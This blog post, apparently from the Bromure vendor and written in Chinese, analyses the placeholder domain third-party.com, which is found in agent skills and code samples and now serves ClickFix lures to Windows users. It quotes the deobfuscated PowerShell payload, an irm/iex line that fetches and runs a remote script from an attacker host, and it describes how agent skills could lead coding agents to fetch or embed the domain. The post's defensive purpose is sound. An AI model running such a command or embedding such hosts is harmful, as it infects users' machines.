← 返回所有文章
发布于 · 作者 Renaud Deraison

skill 指向 third-party.com,而 third-party.com 回应了

Manifold Security 发现了 third-party.com,一个文档里的占位符,散落在 1,700 个仓库的 1,500 个文件中,其中包括 Chromium、Vercel 和 Brave,也藏在公开的智能体 skill 里,从六月起就一直在投放 ClickFix 诱饵。有人在 1996 年注册了这个域名。它对任何看起来像扫描器的东西都回一个干净页面,而唯一标记过它的封锁清单十天后就放弃了。主机名是唯一一种没有任何 lockfile 为它留下一行的依赖,而 Bromure Agentic Coding 用一份工作区可以调用的目的地清单来回答它。

你会去审计的依赖有版本、有维护者、有 lockfile 里的一行。示例 URL 里的那个主机名 只有一个所有者,别的什么都没有,而所有者会改主意。

你让智能体把一个小组件改成懒加载。它打开一个你几个月前装上的 skill,读了那个 skill 作为参考实现给出的 Liquid 片段,而片段的 src 是 https://third-party.com/widget.js。

你把它读成一个待填的空格。智能体读到的是一个能解析成功的主机名、一台会回应的 服务器,以及一位决定回应内容的所有者。占位符是写文档给人看的人之间的一种约定。它 不是那串字符本身的属性。

出现在 1,700 个仓库里的域名

9 月 23 日,Manifold Security 的 Ax Sharma 和 Cody Nash 发表了一份分析, 对象是 third-party.com,一个多数开发者只当成填充字样的域名。 The Hacker News 第二天做了报道。 至少从 2026 年 6 月起,这个域名就一直在投放 ClickFix 诱饵:页面把一条命令放进你的 剪贴板,然后要你把它粘到某个会执行它的地方。

那份分析里有一句话承载了全部前提:“和 example[.]com 不同,third-party[.]com 并未被 IANA 保留。任何人都能注册它,而且真的有人注册了。”有人在 1996 年通过 Network Solutions 注册了它,此后它像任何别的域名一样几度易主,背后拖着三十年干净 的历史。

GitHub 的代码搜索会返回超过 1,700 个仓库里的 1,500 多个文件。Manifold 在其中点名了 Chromium、Sanity、Vercel、Brave 和 HackTricks。而 third-party.com 并不孤单:The Hacker News 另外数出十三个未被保留的占位符,如今正在投放恐吓软件、假的安全警告和 投资诈骗,其中包括 yourdomain.com、yoursite.com、myapp.com、acme.com、 company.com 和 vendor.com,散布在数十万个 GitHub 文件和数百个智能体 skill 之中。

Windows 的浏览器会拿到一个假的 Cloudflare 验证页。JavaScript 通过一个隐藏的 textarea 和一个被劫持的 copy 事件写进剪贴板,页面则告诉你按 Win+R,接着 Ctrl+V, 接着回车。去混淆之后,剪贴板里装的是:

powershell "Write-Host(&{iex(irm('elxxvvx[.]xyz/f'))})2>$null"

irm 通过 HTTPS 拉下一段脚本,iex 在内存里执行它,而 2>$null 把错误吞掉。页面 还在后面接了一串幌子文字,“Security check, I'm not a robot, Verification ID”加上 几个数字,好让“运行”对话框显示出接近页面所要求的样子。

凡是来查的,它都给干净页面

载荷没有那么重要,重要的是挑选。服务器逐个请求地决定谁看得到它。

Manifold 的原话是:“从数据中心网段查询这个域名,从 Linux 爬虫查询,从任何不是预定 受害者的东西查询,它回给你的都是干净页面。”Mac 会拿到一句拒绝:“macOS is not supported. This website requires a Windows PC to access.”诱饵只为运营者写给的那位 访客而触发。

IPFire 的封锁清单在 2026 年 7 月 7 日标记了这个域名,十天后的 7 月 17 日又把它移除。 维护那份清单的人复现不出那个恶意响应,因为服务器不会把它送给他们。三个月过去,域名 还活着,仍然伪装着,也仍然躺在 1,700 个仓库里。

信誉情报在这里没有东西可以承载,也没有任何可订阅的安全公告。没有人入侵这个域名。 是有人拥有它。

载体之中包括你的智能体的 skill

Manifold 跑去智能体会读的地方找,在三个公开的 skill 里找到了这串字符。

jeffallan/claude-skills(约 11,000 颗星)里的 shopify-expert,在一段懒加载第三方 小组件的 Liquid 片段中用了它。alovajs/skills 里的 alova-server-usage,在一个 OAuth 网关示例中用了它。而 ClawHub 的 dynamic-dashboard-builder,把它用在一个标着 “Wrong: Hardcoded endpoint, NEVER do this.”的代码块里。

那个用来告诫的例子,是一个活着的 URL。三次工具调用之后,等模型真要写代码时,它得把 “别这么做”的框架连同那串字符一起带过来,而那串字符在两种情况下长得一模一样。

一个文档上的主机名有三种方式抵达网络,而同一个会话可能三种都走:

  • 它去抓。 skill 和 MCP 服务器文档里满是端点,而一个正在确认片段能不能跑的 智能体会去解析它们。回来的东西会以再普通不过的工具输出形式进入模型的上下文。
  • 它去写。 片段落进你的源码,diff 通过了评审,而那个没人读过的 src 属性就 这样送进你用户的浏览器。Manifold 记录到诱饵在 Windows 浏览器上触发,而那正是那群 用户中相当一部分人用的东西。
  • 它从那里读指令。 ClickFix 是说给正在读的人听的。今天的版本瞄准坐在 Windows 键盘前的人,而 Linux 上的智能体拿到的是“不支持”那一页。服务器早就在识别它的 调用方,并给出三种不同的响应。第四种响应,给看起来像智能体的客户端,对运营者来说 只是一行配置的成本。
文档里的一串字符,和它背后的四种响应1,500 个文件 / 1,700 个仓库README.mdMCP 服务器文档shopify-expert/SKILL.mddynamic-dashboard-builder最后一个把它当成反面教材智能体读取,接着解析third-party.com1996 年注册・未被保留识别每一个调用方响应由所有者挑选Windows 的浏览器假的 Cloudflare 验证 → 剪贴板Mac“macOS is not supported”爬虫、数据中心网段、扫描器每一次都是干净页面剪贴板里装的东西,去混淆之后powershell "Write-Host(&{iex(irm('elxxvvx.xyz/f'))})2>$null"对信誉情报造成的后果IPFire: 7/7 标记 · 7/17 移除以及你现有的控制为什么都对它没有意见没有版本可钉 · 没有维护者可信 · 没有 lockfile 那一行 · 没有 SBOM · 没有 CVE · 没有安全公告它只真实那么一次:当某个东西对它开启连接的时候
同一个主机名,四种不同的响应。有人在 1996 年注册了 third-party.com,如今它出现在超过 1,500 个文件里:README、MCP 服务器文档,以及智能体 skill,其中一个还把它当成反面教材。服务器按照是谁来问而挑选响应。Windows 的浏览器拿到假的 Cloudflare 页面和一个装满 PowerShell 的剪贴板。Mac 拿到一句拒绝。扫描器或数据中心的爬虫拿到干净页面,这正是为什么 IPFire 在 2026 年 7 月 7 日标记了这个域名,十天后又把它移除。没有任何清单文件、lockfile 或 SBOM 为一个主机名留下一行。

占位符是一个没有人声明过的依赖

供应链工具处理的是具有身份的制品。一个包有名称、版本、注册中心、发布日期和维护者, 所以你可以钉住它、按发布时间设门槛、核验它的来源、跟上周的版本比对差异。注释里的 一个主机名只具备其中一项:所有者。你流水线里没有任何工具会去解析它、记录它,或在它 易主时通知你。能触及占位符的控制,必须落在连接上,而不是落在制品上。

在 Bromure 工作区里

在 Bromure Agentic Coding 里,一个工作区的出站流量是一张有序的规则表。规则自上而下 匹配,第一条命中的胜出,而一个分段式的 未匹配流量 控件把默认值设为允许或 拒绝。每条规则带有一个动作、一个协议(tcp、udp、web 或 any)、一个主机 或 CIDR、端口,web 规则还带一份 HTTP 方法清单。主机名按后缀匹配,所以 example.com 覆盖顶点域名和它的每一个子域。规范写法是一行一条规则,最后以 default allow 或 default deny 收尾:

allow tcp github.com:443
allow tcp registry.npmjs.org:443
allow web api.yourcompany.internal GET,POST
default deny

一个只作为排版约定存在的主机名,不会在那张清单上。你是根据工作真正会抵达的地方写出 这张清单的,而填充用的字符串不会出现在那个集合里。工作区从来不必学会 third-party.com 是敌意的,这一点帮了大忙,因为没有任何情报这么说。它只需要看见 一件事:third-party.com 不是 github.com。

你的 Mac 会把这套规则执行两次。虚拟网络交换机以目的 IP 和从 DNS 嗅探到的主机名,跨 TCP 与 UDP 匹配每一条流;主机端的代理再以 TLS 服务器名匹配一次,web 规则还会逐个 匹配 HTTP 方法。交换机把 VM 的 80 端口与 443 端口流量导进代理,其中不牵涉任何环境 变量,也没有任何客户机能取消的东西。规则的修改会立刻抵达进行中的会话,所以你可以在 不中途重启智能体的情况下把一个工作区收紧。

笔记本上的智能体读 skill,把字符串解析出来GET https://third-party.com/widget.js进程与 DNS 之间没有任何东西响应落进上下文窗口所有者选择要发给这个调用方的东西片段带着主机名一路走进评审没有 CVE、没有公告、没有 lockfile 那一行而封锁清单早在七月就把判断收回了你知道的时候,是用户的浏览器先知道没有任何记录显示这个主机名被碰过Bromure 工作区里的智能体在 Ubuntu 客户机里读同一个 skillGET https://third-party.com/widget.js:80 与 :443 被导进主机端代理在 Mac 上匹配两次switch: 目的 IP + DNS 看到的主机proxy: TLS 服务器名 + HTTP 方法没有规则命中 → default deny假凭证一出范围就回 451,VM 暂停Security Timeline 的 Firewall 那一行third-party.com:443 tcp — 已拦截
同一个 skill 文件,两台机器。在笔记本上,智能体会把占位符解析出来,因为它和 DNS 之间没有任何东西,抓回来的页面落进模型的上下文,而片段带着原封不动的主机名进入你的源码。在 Bromure 工作区里,主机会把这条连接匹配两次,在虚拟交换机上以目的 IP 与从 DNS 嗅探到的主机名匹配,在代理上再以 TLS 服务器名匹配,对象是那份工作真正需要抵达的目的地清单。未匹配流量设成拒绝,事情就在那里结束,而那次拒绝会变成一行写着主机名的 Firewall 记录,你就是靠它在字符串送进用户浏览器之前,先在自己的产出里把它找出来。

Firewall 的那一行会抵达你的 diff

拦下连接就结束了那次抓取。要把那串字符从你的源码里清掉,靠的是那一行。

每一个防火墙判定都会以 Firewall 条目的形式落进 Security Timeline 窗口(手册自己 的示例那一行写的是 evil.example:443 tcp — blocked),和凭证替换、供应链决策、 护栏执行与提示注入命中并列在同一张按时间排序的表里,有颜色区分,也可以筛选。

会话里任何东西第一次解析到一个你没有列进清单的主机名时,那个主机名就会带着时间戳 和它来自的工作区出现在你的屏幕上。你回到 diff,找到那个 src 属性,在分支合并之前 把它改掉。单靠出站控制够不着这故事的另外一半,因为在“它去写”的那种情况里,发出 危险请求的是几周之后别人的浏览器。

路径上还有另外两项控制,两项都值得打开。

提示注入 检测器会为前往模型的不可信内容打分,也就是文件内容、网页,以及装在 tool_result 块里带进来的工具输出,用的是在设备上运行、不会把任何东西送出 Mac 的 本地 Prompt Guard 分类器。ClickFix 的文字正是一段对着读它的人说话的指令,而那正是 那个分类器受训要辨认的形状。它跑在主机端的代理里,VM 内的智能体关不掉它,而命中之后 做什么由你决定:记录下来、暂停并把被标记的文字拿给你看,或是用一个模型永远看不到的 HTTP 451 拒绝这次请求。

线路边界 覆盖的是文档把智能体说动去向占位符做认证的那种情况。VM 里没有任何文件、 环境变量或进程持有真正的 API 密钥、OAuth 令牌、AWS 密钥或 SSH 私钥。客户机拿到的是 一份保留结构的假值,而主机只对那份凭证所签发的那一台主机换上真正的值。代理会用 Aho-Corasick 自动机扫描每一个出站请求的头部与正文,寻找这些假值。任何一个跑去它不该 去的地方的假值,都会拿到 HTTP 451 而且一个字节也不会被转发,同时让 VM 暂停、写下 一行红色的 Credential brokering,并把工作区标记为已被攻陷,于是你下一次启动时 会被询问要不要清掉它的磁盘与主目录,同时保留你的令牌与设置。

用被保留的占位符

example.com、example.org、example.net 和 .example 这个 TLD 都被 IANA 保留,没有人买得到。third-party.com、acme.com 和 yourcompany.com 则是 再普通不过的域名。拿 grep 扫过你的 skill、你的 MCP 配置和你的 README,把那些 没人保留过的找出来。

目的地清单写一次就够

一个工作区需要的是一组短而稳定的主机:你的代码托管、你的注册中心、你的模型端点、 你的 API。把未匹配流量设成拒绝,那些没有人想过的主机名,包括占位符在内,都会在 没有人点名它们的情况下被处理掉。

不要为了让扫描器闭嘴而放行

这是 Manifold 自己的建议。为了让某项检查变绿而把一个域名加进白名单,等于你承诺了 永远信任它的所有者,而你从来没见过那个人。

读 Firewall 那几行

一个你认不出来的主机名被拦下,就告诉了你智能体捡起了哪一串字符,也指出了你会在 diff 的哪个部分找到它。

有人买了一个域名

这里没有人毒化注册中心、没有人接管维护者账号、没有人对包做抢注错字、没有人颠覆 CI 流水线,也没有人骗过模型。有人买下了一个待售的域名,就像它从 1996 年起一直待售那样, 然后把它指向一台 Web 服务器。

业界对供应链风险的回答,是给制品更好的身份:来源证明、sigstore 签名、SBOM、钉住的 摘要。那些工作是好的,而它们碰不到这件事,因为躺在 1,700 个仓库里的是一串字符,不是 一个制品。开发者们年复一年把它从一个 README 抄到下一个 README,而它成为真实存在的 东西,只有一次 DNS 解析加一次 TCP 连接那么长。

去治理那个瞬间。给工作区一份工作会去到哪里的清单,在智能体够不着的地方执行它,然后 读那些记录,找出不是你放进去的名字。一个解析不出来的占位符,就会变回你原本以为它是 的那块无害排版。